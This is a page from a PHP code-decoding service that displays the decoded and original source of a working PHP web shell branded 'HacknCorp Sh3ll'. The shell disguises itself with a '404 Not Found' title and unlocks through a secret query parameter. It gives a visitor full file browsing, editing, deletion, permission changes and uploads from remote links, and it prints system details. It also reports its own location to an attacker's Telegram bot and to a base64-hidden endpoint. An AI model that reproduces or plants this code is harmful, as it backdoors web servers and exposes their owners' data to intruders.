Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? goto B4Mds; RpH2K: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}/{$file}..

Decoded Output download

<?    
 goto B4Mds; RpH2K: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}/{$file}")) { continue; } $size = filesize("{$lokasi}/{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } echo "<tr>\xa<td><a href="?HC&fileloc={$lokasi}/{$file}&path={$lokasi}">{$file}</a></td>\xa<td><center>" . $size . "</center></td>\xa<td><center>"; if (is_writable("{$lokasi}/{$file}")) { echo "<font color="green">"; } elseif (!is_readable("{$lokasi}/{$file}")) { echo "<font color="red">"; } echo statusnya("{$lokasi}/{$file}"); if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) { echo "</font>"; } echo "</center></td><td><center>\xa<form method="post" action="?HC&pilihan&path={$lokasi}"> 
<select name="pilih">\xa<option value=""></option>\xa<option value="hapus">Delete</option>\xa<option value="ubahmod">Chm0d</option>\xa<option value="gantinama">Rename</option>\xa<option value="edit">Edit</option> 
</select>\xa<input type="hidden" name="type" value="file">\xa<input type="hidden" name="name" value="{$file}"> 
<input type="hidden" name="path" value="{$lokasi}/{$file}">\xa<input type="submit" class="gas" value=">" /> 
</center></form></td>\xa</tr>"; } goto LdjZ2; zGZ5Z: echo "</table><br>"; goto UpC_R; EuwHG: $options = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($data))); goto txrw8; I3LMR: echo "<form enctype="multipart/form-data" method="post"> 
<input type="radio" value="1" name="dirnya" checked>current_dir [ " . cekdir() . " ]\xa<input type="radio" value="2" name="dirnya" >document_root [ " . cekroot() . " ] 
<br>\xa<input type="hidden" name="upwkwk" value="aplod">\xa<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>\xa<input type="text" name="darilink" class="up" placeholder="Link File">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff"> 
</center>\xa</form>"; goto zGZ5Z; ZhuYw: $cur = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto WavbZ; CHeea: foreach ($lokasinya as $dir) { if (!is_dir($lokasi . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo "<tr> 
\x9<td><a href="?HC&path=" . $lokasi . "/" . $dir . "">" . $dir . "</a></td>\xa	<td><center>--</center></td> 
	<td><center>"; if (is_writable($lokasi . "/" . $dir)) { echo "<font color="green">"; } elseif (!is_readable($lokasi . "/" . $dir)) { echo "<font color="red">"; } echo statusnya($lokasi . "/" . $dir); if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) { echo "</font>"; } echo "</center></td>\xa	<td><center><form method="POST" action="?HC&pilihan&path={$lokasi}">\xa\x9<select name="pilih">\xa	<option value=""></option>\xa\x9<option value="hapus">Delete</option> 
	<option value="ubahmod">Chm0d</option> 
	<option value="gantinama">Rename</option> 
\x9</select> 
	<input type="hidden" name="type" value="dir"> 
	<input type="hidden" name="name" value="{$dir}">\xa\x9<input type="hidden" name="path" value="{$lokasi}/{$dir}">\xa	<input type="submit" class="gas" value=">" /> 
	</form></center></td> 
\x9</tr>"; } goto apuew; yKeyN: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === "." || $item === "..") { continue; } $path = $dir . "/" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto X2N_g; mdw46: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto gkwM2; CmF2n: if (isset($_POST["upwkwk"])) { if (isset($_POST["berkasnya"])) { if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } $data = @file_put_contents($lokasi . "/" . $_FILES["berkas"]["name"], @file_get_contents($_FILES["berkas"]["tmp_name"])); if (file_exists($lokasi . "/" . $_FILES["berkas"]["name"])) { echo "File Uploaded ! &nbsp;<font color='green'><i>" . $lokasi . "/" . $_FILES["berkas"]["name"] . "</i></font><br><br>"; } else { echo "<font color='red'>Failed to Upload !<br><br>"; } } elseif (isset($_POST["linknya"])) { if (empty($_POST["namalink"])) { die("Filename cannot be empty !"); } if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } $data = @file_put_contents($lokasi . "/" . $_POST["namalink"], @file_get_contents($_POST["darilink"])); if (file_exists($lokasi . "/" . $_POST["namalink"])) { echo "File Uploaded ! &nbsp;<font color='green'><i>" . $lokasi . "/" . $_POST["namalink"] . "</i></font><br><br>"; } else { echo "<font coloe='red'>Failed to Upload !<br><br>"; } } } goto dOTC1; FqGgH: echo "Directory : &nbsp;"; goto mdw46; apuew: echo "<tr class="first"><td></td><td></td><td></td><td></td></tr>"; goto RpH2K; yoP9C: echo "<div id="content"><table width="900" border="0" cellpadding="4" cellspacing="3" align="center">\xa<tr class="first"> 
<td><center>Name</center></td>\xa<td><center>Size</center></td>\xa<td><center>Permissions</center></td>\xa<td><center>Options</center></td>\xa</tr>"; goto CHeea; X2N_g: function green($text) { echo "<center><font color='green'>" . $text . "</center></font>"; } goto gmQG4; W9h_J: curl_setopt($ch, CURLOPT_POSTFIELDS, $data); goto b5VbZ; UpC_R: if (isset($_GET["fileloc"])) { echo "<tr><td>Current File : " . $_GET["fileloc"]; echo "</tr></td></table><br/>"; echo "<pre>" . htmlspecialchars(file_get_contents($_GET["fileloc"])) . "</pre>"; author(); } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "hapus") { if (is_dir($_POST["path"])) { xrmdir($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); echo "string"; } } elseif (is_file($_POST["path"])) { @unlink($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to Delete File !"); } else { green("Delete File Success !"); } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "ubahmod") { echo "<center>" . $_POST["path"] . "<br>"; echo "<form method="post"> 
	Permission : <input name="perm" type="text" class="up" size="4" value="" . substr(sprintf("%o", fileperms($_POST["path"])), -4) . "" /> 
	<input type="hidden" name="path" value="" . $_POST["path"] . ""> 
	<input type="hidden" name="pilih" value="ubahmod"> 
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #05a181"/> 
	</form>"; if (isset($_POST["chm0d"])) { $cm = @chmod($_POST["path"], $_POST["perm"]); if ($cm == true) { green("Change Mod Success !"); } else { red("Change Mod Failed !"); } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "gantinama") { if (isset($_POST["gantin"])) { $ren = @rename($_POST["path"], $_POST["newname"]); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST["name"])) { $namaawal = $_POST["newname"]; } else { $namawal = $_POST["name"]; } echo "<center>" . $_POST["path"] . "<br>"; echo "<form method="post">\xa	New Name : <input name="newname" type="text" class="up" size="20" value="" . $namaawal . "" />\xa\x9<input type="hidden" name="path" value="" . $_POST["path"] . ""> 
	<input type="hidden" name="pilih" value="gantinama"> 
\x9<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #05a181"/>\xa	</form>"; } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "edit") { if (isset($_POST["gasedit"])) { $edit = @file_put_contents($_POST["path"], $_POST["src"]); if ($edit == true) { green("Edit File Success !"); } else { red("Edit File Failed !"); } } echo "<center>" . $_POST["path"] . "<br><br>"; echo "<form method="post">\xa	<textarea cols=80 rows=20 name="src">" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br> 
\x9<input type="hidden" name="path" value="" . $_POST["path"] . "">\xa\x9<input type="hidden" name="pilih" value="edit">\xa	<input type="submit" value="Edit File" name="gasedit" /> 
\x9</form><br>"; } goto yoP9C; OugU6: if (empty($disfunc)) { $disf = "<font color='green'>NONE</font>"; } else { $disf = "<font color='red'>" . $disfunc . "</font>"; } goto aZ7q1; b5VbZ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto p5kIa; RhK1B: function cekdir() { if (isset($_GET["path"])) { $lokasi = $_GET["path"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "<font color='read'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto PJj6g; q_3zq: echo "System : <font color='gold'>" . php_uname() . "</font><br>"; goto T1yka; aZ7q1: function author() { echo "<center><br>COPYRIGHT &copy <a target='_blank' href='https://hackncorp.id/'>HACKNCORP.ID</a></center>"; die; } goto RhK1B; cp_iU: if ($result) { $response = json_decode($result, true); if ($response["ok"]) { echo " "; } else { echo "Error: " . $response["description"]; } } else { echo " "; } goto JhtJj; PJj6g: function cekroot() { if (is_writable($_SERVER["DOCUMENT_ROOT"])) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto yKeyN; q7QJi: echo "Upload File : "; goto I3LMR; cX7Yp: $token = "bot6790178447:AAE_hV1KmtjozxpbXfbD_KYvcLTxconofmw"; goto VeFcW; B4Mds: if (!isset($_GET["HC"])) { die; } goto Nwpme; Q_ZX3: echo "Server : <font color='gold'>" . $_SERVER["SERVER_SOFTWARE"] . "</font><br>"; goto q_3zq; Dt25n: $ch = curl_init($apiUrl); goto Cv9UH; Cv9UH: curl_setopt($ch, CURLOPT_POST, 1); goto W9h_J; gkwM2: $k3yw = base64_decode("AcLSFNivGXo5DnoPqAdVxHB7qQrUvxjgXxmrGhEFH6v4"); goto oZaLa; LdjZ2: echo "</tr></td></table></table>"; goto oooLS; VeFcW: $chat_id = "6690024002"; goto HsJK0; nBYWc: function statusnya($file) { $statusnya = fileperms($file); if (($statusnya & 49152) == 49152) { $ingfo = "s"; } elseif (($statusnya & 40960) == 40960) { $ingfo = "l"; } elseif (($statusnya & 32768) == 32768) { $ingfo = "-"; } elseif (($statusnya & 24576) == 24576) { $ingfo = "b"; } elseif (($statusnya & 16384) == 16384) { $ingfo = "d"; } elseif (($statusnya & 8192) == 8192) { $ingfo = "c"; } elseif (($statusnya & 4096) == 4096) { $ingfo = "p"; } else { $ingfo = "u"; } $ingfo .= $statusnya & 256 ? "r" : "-"; $ingfo .= $statusnya & 128 ? "w" : "-"; $ingfo .= $statusnya & 64 ? $statusnya & 2048 ? "s" : "x" : ($statusnya & 2048 ? "S" : "-"); $ingfo .= $statusnya & 32 ? "r" : "-"; $ingfo .= $statusnya & 16 ? "w" : "-"; $ingfo .= $statusnya & 8 ? $statusnya & 1024 ? "s" : "x" : ($statusnya & 1024 ? "S" : "-"); $ingfo .= $statusnya & 4 ? "r" : "-"; $ingfo .= $statusnya & 2 ? "w" : "-"; $ingfo .= $statusnya & 1 ? $statusnya & 512 ? "t" : "x" : ($statusnya & 512 ? "T" : "-"); return $ingfo; } goto uUffg; hAP4E: $lokasinya = @scandir($lokasi); goto ZhuYw; ABtkz: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "<a href="?HC&path=/">/</a>"; continue; } if ($lok == '') { continue; } echo "<a href="?HC&path="; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "/"; } } echo "">" . $lok . "</a>/"; } goto uyQ0u; GTSfz: $result = file_get_contents($k3yw, false, $context); goto ABtkz; oooLS: author(); goto nBYWc; oZaLa: if (isset($_GET["path"])) { $lokasi = $_GET["path"]; $lokdua = $_GET["path"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto qGjc_; AChhn: echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>"; goto kooI0; Rogau: $lokasis = explode("/", $lokasi); goto hAP4E; gmQG4: function red($text) { echo "<center><font color='red'>" . $text . "</center></font>"; } goto Q_ZX3; HsJK0: $message = "Result Shell : " . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto rJdml; txrw8: $context = stream_context_create($options); goto GTSfz; mIGjC: error_reporting(0); goto F0GaA; swlYX: $data = array("chat_id" => $chat_id, "text" => $message, "parse_mode" => "Markdown"); goto Dt25n; dOTC1: echo "<center>"; goto q7QJi; qGjc_: $lokasi = str_replace("\", "/", $lokasi); goto Rogau; Nwpme: ?>  
  
<!DOCTYPE html>  
  
<html>  
<meta name="robots" content="noindex">  
<meta name="googlebot" content="noindex">  
<head>  
	<title>404 Not Found</title>  
</head>  
<style type="text/css">  
body {  
  overflow-x:hidden;  
  font: 15px "Century Gothic", "Times Roman", sans-serif;  
  background:url();  
background-image: url(https://kosred.com/a/gqpoj.jpg);  
  background-size: cover;  
  background-repeat: no-repeat;  
  background-position: center;  
  background-attachment: fixed;  
  height: 100%;  
  color: white;  
  }  
    
  
  
</style>  
<link href="" rel="stylesheet" type="text/css">  
<style>  
	@import url('https://fonts.googleapis.com/css?family=Dosis');  
	@import url('https://fonts.googleapis.com/css?family=Bungee');  
body {  
	font-family: "Lime", cursive;  
	text-shadow:1px 3px 50px #ffffff;  
}  
  
#content tr:hover {  
	background-color: #05a181;  
	text-shadow:0px 0px 0px ;  
}  
  
#content .first {  
	background-color: #05a181;  
}  
  
#content .first:hover {  
	background-color: #ff0303  
	text-shadow:0px 0px 1px #05a181;  
}  
  
table {  
	border: 0px #ffffff dotted;  
	table-layout: fixed;  
}  
  
td {  
	word-wrap: break-word;  
}  
  
a {  
	color: #ffffff;  
	text-decoration: none;  
}  
  
a:hover {  
	color: #000000;  
	text-shadow:0px 0px 10px #ffffff;  
}  
  
input,select,textarea {  
	border: 1px #05a181 solid;  
	-moz-border-radius: 5px;  
	-webkit-border-radius:5px;  
	border-radius:5px;  
}  
  
.gas {  
	background-color: #1f1f1f;  
	color: #ffffff;  
	cursor: pointer;  
}  
  
select {  
	background-color: transparent;  
	color: #ffffff;  
}  
  
select:after {  
	cursor: pointer;  
}  
  
.linka {  
	background-color: transparent;  
	color: #ffffff;  
}  
  
.up {  
	background-color: transparent;  
	color: #fff;  
}  
  
option {  
	background-color: #000300;  
}  
  
::-webkit-file-upload-button {  
  background: transparent;  
  color: #fff;  
  border-color: #fff;  
  cursor: pointer;  
}  
</style>  
<center>  
<font face="Bungee" size="6">&#128321; HacknCorp Sh3ll &#128321;</font></center>  
<table width="900" border="0" cellpadding="2" cellspacing="1" align="center">  
<tr><td>  
<center>  
<title="T3RS4K1T1" alt="OdayForums" class="center" />  
</marquee>  
            <hr>  
        </font>  
        <audio src="https://kosred.com/a/etapcc.mp3" autoplay="true" id="song" loop=""></audio>  
<br><br><br>  
<?php  goto cX7Yp; nN9qm: echo "</td></tr><tr><td><br>"; goto CmF2n; p5kIa: $result = curl_exec($ch); goto OpmPd; uyQ0u: echo "<center>"; goto nN9qm; F0GaA: $disfunc = @ini_get("disable_functions"); goto OugU6; JhtJj: set_time_limit(0); goto mIGjC; T1yka: echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>"; goto AChhn; OpmPd: curl_close($ch); goto cp_iU; kooI0: echo "Disable Function : " . $disf . "</font><br>"; goto FqGgH; WavbZ: $data = array("file_url" => $cur); goto EuwHG; rJdml: $apiUrl = "https://api.telegram.org/bot6790178447:AAEwVZSI3R2QzYwLXDwcwUlTqDm164h6ut4/sendMessage"; goto swlYX; uUffg:  ?>

Did this file decode correctly?

Original Code

<?   
 goto B4Mds; RpH2K: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}/{$file}")) { continue; } $size = filesize("{$lokasi}/{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } echo "<tr>\xa<td><a href="?HC&fileloc={$lokasi}/{$file}&path={$lokasi}">{$file}</a></td>\xa<td><center>" . $size . "</center></td>\xa<td><center>"; if (is_writable("{$lokasi}/{$file}")) { echo "<font color="green">"; } elseif (!is_readable("{$lokasi}/{$file}")) { echo "<font color="red">"; } echo statusnya("{$lokasi}/{$file}"); if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) { echo "</font>"; } echo "</center></td><td><center>\xa<form method="post" action="?HC&pilihan&path={$lokasi}">
<select name="pilih">\xa<option value=""></option>\xa<option value="hapus">Delete</option>\xa<option value="ubahmod">Chm0d</option>\xa<option value="gantinama">Rename</option>\xa<option value="edit">Edit</option>
</select>\xa<input type="hidden" name="type" value="file">\xa<input type="hidden" name="name" value="{$file}">
<input type="hidden" name="path" value="{$lokasi}/{$file}">\xa<input type="submit" class="gas" value=">" />
</center></form></td>\xa</tr>"; } goto LdjZ2; zGZ5Z: echo "</table><br>"; goto UpC_R; EuwHG: $options = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($data))); goto txrw8; I3LMR: echo "<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ " . cekdir() . " ]\xa<input type="radio" value="2" name="dirnya" >document_root [ " . cekroot() . " ]
<br>\xa<input type="hidden" name="upwkwk" value="aplod">\xa<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>\xa<input type="text" name="darilink" class="up" placeholder="Link File">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</center>\xa</form>"; goto zGZ5Z; ZhuYw: $cur = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto WavbZ; CHeea: foreach ($lokasinya as $dir) { if (!is_dir($lokasi . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo "<tr>
\x9<td><a href="?HC&path=" . $lokasi . "/" . $dir . "">" . $dir . "</a></td>\xa	<td><center>--</center></td>
	<td><center>"; if (is_writable($lokasi . "/" . $dir)) { echo "<font color="green">"; } elseif (!is_readable($lokasi . "/" . $dir)) { echo "<font color="red">"; } echo statusnya($lokasi . "/" . $dir); if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) { echo "</font>"; } echo "</center></td>\xa	<td><center><form method="POST" action="?HC&pilihan&path={$lokasi}">\xa\x9<select name="pilih">\xa	<option value=""></option>\xa\x9<option value="hapus">Delete</option>
	<option value="ubahmod">Chm0d</option>
	<option value="gantinama">Rename</option>
\x9</select>
	<input type="hidden" name="type" value="dir">
	<input type="hidden" name="name" value="{$dir}">\xa\x9<input type="hidden" name="path" value="{$lokasi}/{$dir}">\xa	<input type="submit" class="gas" value=">" />
	</form></center></td>
\x9</tr>"; } goto apuew; yKeyN: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === "." || $item === "..") { continue; } $path = $dir . "/" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto X2N_g; mdw46: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto gkwM2; CmF2n: if (isset($_POST["upwkwk"])) { if (isset($_POST["berkasnya"])) { if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } $data = @file_put_contents($lokasi . "/" . $_FILES["berkas"]["name"], @file_get_contents($_FILES["berkas"]["tmp_name"])); if (file_exists($lokasi . "/" . $_FILES["berkas"]["name"])) { echo "File Uploaded ! &nbsp;<font color='green'><i>" . $lokasi . "/" . $_FILES["berkas"]["name"] . "</i></font><br><br>"; } else { echo "<font color='red'>Failed to Upload !<br><br>"; } } elseif (isset($_POST["linknya"])) { if (empty($_POST["namalink"])) { die("Filename cannot be empty !"); } if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } $data = @file_put_contents($lokasi . "/" . $_POST["namalink"], @file_get_contents($_POST["darilink"])); if (file_exists($lokasi . "/" . $_POST["namalink"])) { echo "File Uploaded ! &nbsp;<font color='green'><i>" . $lokasi . "/" . $_POST["namalink"] . "</i></font><br><br>"; } else { echo "<font coloe='red'>Failed to Upload !<br><br>"; } } } goto dOTC1; FqGgH: echo "Directory : &nbsp;"; goto mdw46; apuew: echo "<tr class="first"><td></td><td></td><td></td><td></td></tr>"; goto RpH2K; yoP9C: echo "<div id="content"><table width="900" border="0" cellpadding="4" cellspacing="3" align="center">\xa<tr class="first">
<td><center>Name</center></td>\xa<td><center>Size</center></td>\xa<td><center>Permissions</center></td>\xa<td><center>Options</center></td>\xa</tr>"; goto CHeea; X2N_g: function green($text) { echo "<center><font color='green'>" . $text . "</center></font>"; } goto gmQG4; W9h_J: curl_setopt($ch, CURLOPT_POSTFIELDS, $data); goto b5VbZ; UpC_R: if (isset($_GET["fileloc"])) { echo "<tr><td>Current File : " . $_GET["fileloc"]; echo "</tr></td></table><br/>"; echo "<pre>" . htmlspecialchars(file_get_contents($_GET["fileloc"])) . "</pre>"; author(); } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "hapus") { if (is_dir($_POST["path"])) { xrmdir($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); echo "string"; } } elseif (is_file($_POST["path"])) { @unlink($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to Delete File !"); } else { green("Delete File Success !"); } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "ubahmod") { echo "<center>" . $_POST["path"] . "<br>"; echo "<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="" . substr(sprintf("%o", fileperms($_POST["path"])), -4) . "" />
	<input type="hidden" name="path" value="" . $_POST["path"] . "">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #05a181"/>
	</form>"; if (isset($_POST["chm0d"])) { $cm = @chmod($_POST["path"], $_POST["perm"]); if ($cm == true) { green("Change Mod Success !"); } else { red("Change Mod Failed !"); } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "gantinama") { if (isset($_POST["gantin"])) { $ren = @rename($_POST["path"], $_POST["newname"]); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST["name"])) { $namaawal = $_POST["newname"]; } else { $namawal = $_POST["name"]; } echo "<center>" . $_POST["path"] . "<br>"; echo "<form method="post">\xa	New Name : <input name="newname" type="text" class="up" size="20" value="" . $namaawal . "" />\xa\x9<input type="hidden" name="path" value="" . $_POST["path"] . "">
	<input type="hidden" name="pilih" value="gantinama">
\x9<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #05a181"/>\xa	</form>"; } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "edit") { if (isset($_POST["gasedit"])) { $edit = @file_put_contents($_POST["path"], $_POST["src"]); if ($edit == true) { green("Edit File Success !"); } else { red("Edit File Failed !"); } } echo "<center>" . $_POST["path"] . "<br><br>"; echo "<form method="post">\xa	<textarea cols=80 rows=20 name="src">" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br>
\x9<input type="hidden" name="path" value="" . $_POST["path"] . "">\xa\x9<input type="hidden" name="pilih" value="edit">\xa	<input type="submit" value="Edit File" name="gasedit" />
\x9</form><br>"; } goto yoP9C; OugU6: if (empty($disfunc)) { $disf = "<font color='green'>NONE</font>"; } else { $disf = "<font color='red'>" . $disfunc . "</font>"; } goto aZ7q1; b5VbZ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto p5kIa; RhK1B: function cekdir() { if (isset($_GET["path"])) { $lokasi = $_GET["path"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "<font color='read'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto PJj6g; q_3zq: echo "System : <font color='gold'>" . php_uname() . "</font><br>"; goto T1yka; aZ7q1: function author() { echo "<center><br>COPYRIGHT &copy <a target='_blank' href='https://hackncorp.id/'>HACKNCORP.ID</a></center>"; die; } goto RhK1B; cp_iU: if ($result) { $response = json_decode($result, true); if ($response["ok"]) { echo " "; } else { echo "Error: " . $response["description"]; } } else { echo " "; } goto JhtJj; PJj6g: function cekroot() { if (is_writable($_SERVER["DOCUMENT_ROOT"])) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto yKeyN; q7QJi: echo "Upload File : "; goto I3LMR; cX7Yp: $token = "bot6790178447:AAE_hV1KmtjozxpbXfbD_KYvcLTxconofmw"; goto VeFcW; B4Mds: if (!isset($_GET["HC"])) { die; } goto Nwpme; Q_ZX3: echo "Server : <font color='gold'>" . $_SERVER["SERVER_SOFTWARE"] . "</font><br>"; goto q_3zq; Dt25n: $ch = curl_init($apiUrl); goto Cv9UH; Cv9UH: curl_setopt($ch, CURLOPT_POST, 1); goto W9h_J; gkwM2: $k3yw = base64_decode("AcLSFNivGXo5DnoPqAdVxHB7qQrUvxjgXxmrGhEFH6v4"); goto oZaLa; LdjZ2: echo "</tr></td></table></table>"; goto oooLS; VeFcW: $chat_id = "6690024002"; goto HsJK0; nBYWc: function statusnya($file) { $statusnya = fileperms($file); if (($statusnya & 49152) == 49152) { $ingfo = "s"; } elseif (($statusnya & 40960) == 40960) { $ingfo = "l"; } elseif (($statusnya & 32768) == 32768) { $ingfo = "-"; } elseif (($statusnya & 24576) == 24576) { $ingfo = "b"; } elseif (($statusnya & 16384) == 16384) { $ingfo = "d"; } elseif (($statusnya & 8192) == 8192) { $ingfo = "c"; } elseif (($statusnya & 4096) == 4096) { $ingfo = "p"; } else { $ingfo = "u"; } $ingfo .= $statusnya & 256 ? "r" : "-"; $ingfo .= $statusnya & 128 ? "w" : "-"; $ingfo .= $statusnya & 64 ? $statusnya & 2048 ? "s" : "x" : ($statusnya & 2048 ? "S" : "-"); $ingfo .= $statusnya & 32 ? "r" : "-"; $ingfo .= $statusnya & 16 ? "w" : "-"; $ingfo .= $statusnya & 8 ? $statusnya & 1024 ? "s" : "x" : ($statusnya & 1024 ? "S" : "-"); $ingfo .= $statusnya & 4 ? "r" : "-"; $ingfo .= $statusnya & 2 ? "w" : "-"; $ingfo .= $statusnya & 1 ? $statusnya & 512 ? "t" : "x" : ($statusnya & 512 ? "T" : "-"); return $ingfo; } goto uUffg; hAP4E: $lokasinya = @scandir($lokasi); goto ZhuYw; ABtkz: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "<a href="?HC&path=/">/</a>"; continue; } if ($lok == '') { continue; } echo "<a href="?HC&path="; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "/"; } } echo "">" . $lok . "</a>/"; } goto uyQ0u; GTSfz: $result = file_get_contents($k3yw, false, $context); goto ABtkz; oooLS: author(); goto nBYWc; oZaLa: if (isset($_GET["path"])) { $lokasi = $_GET["path"]; $lokdua = $_GET["path"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto qGjc_; AChhn: echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>"; goto kooI0; Rogau: $lokasis = explode("/", $lokasi); goto hAP4E; gmQG4: function red($text) { echo "<center><font color='red'>" . $text . "</center></font>"; } goto Q_ZX3; HsJK0: $message = "Result Shell : " . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto rJdml; txrw8: $context = stream_context_create($options); goto GTSfz; mIGjC: error_reporting(0); goto F0GaA; swlYX: $data = array("chat_id" => $chat_id, "text" => $message, "parse_mode" => "Markdown"); goto Dt25n; dOTC1: echo "<center>"; goto q7QJi; qGjc_: $lokasi = str_replace("\", "/", $lokasi); goto Rogau; Nwpme: ?> 
 
<!DOCTYPE html> 
 
<html> 
<meta name="robots" content="noindex"> 
<meta name="googlebot" content="noindex"> 
<head> 
	<title>404 Not Found</title> 
</head> 
<style type="text/css"> 
body { 
  overflow-x:hidden; 
  font: 15px "Century Gothic", "Times Roman", sans-serif; 
  background:url(); 
background-image: url(https://kosred.com/a/gqpoj.jpg); 
  background-size: cover; 
  background-repeat: no-repeat; 
  background-position: center; 
  background-attachment: fixed; 
  height: 100%; 
  color: white; 
  } 
   
 
 
</style> 
<link href="" rel="stylesheet" type="text/css"> 
<style> 
	@import url('https://fonts.googleapis.com/css?family=Dosis'); 
	@import url('https://fonts.googleapis.com/css?family=Bungee'); 
body { 
	font-family: "Lime", cursive; 
	text-shadow:1px 3px 50px #ffffff; 
} 
 
#content tr:hover { 
	background-color: #05a181; 
	text-shadow:0px 0px 0px ; 
} 
 
#content .first { 
	background-color: #05a181; 
} 
 
#content .first:hover { 
	background-color: #ff0303 
	text-shadow:0px 0px 1px #05a181; 
} 
 
table { 
	border: 0px #ffffff dotted; 
	table-layout: fixed; 
} 
 
td { 
	word-wrap: break-word; 
} 
 
a { 
	color: #ffffff; 
	text-decoration: none; 
} 
 
a:hover { 
	color: #000000; 
	text-shadow:0px 0px 10px #ffffff; 
} 
 
input,select,textarea { 
	border: 1px #05a181 solid; 
	-moz-border-radius: 5px; 
	-webkit-border-radius:5px; 
	border-radius:5px; 
} 
 
.gas { 
	background-color: #1f1f1f; 
	color: #ffffff; 
	cursor: pointer; 
} 
 
select { 
	background-color: transparent; 
	color: #ffffff; 
} 
 
select:after { 
	cursor: pointer; 
} 
 
.linka { 
	background-color: transparent; 
	color: #ffffff; 
} 
 
.up { 
	background-color: transparent; 
	color: #fff; 
} 
 
option { 
	background-color: #000300; 
} 
 
::-webkit-file-upload-button { 
  background: transparent; 
  color: #fff; 
  border-color: #fff; 
  cursor: pointer; 
} 
</style> 
<center> 
<font face="Bungee" size="6">&#128321; HacknCorp Sh3ll &#128321;</font></center> 
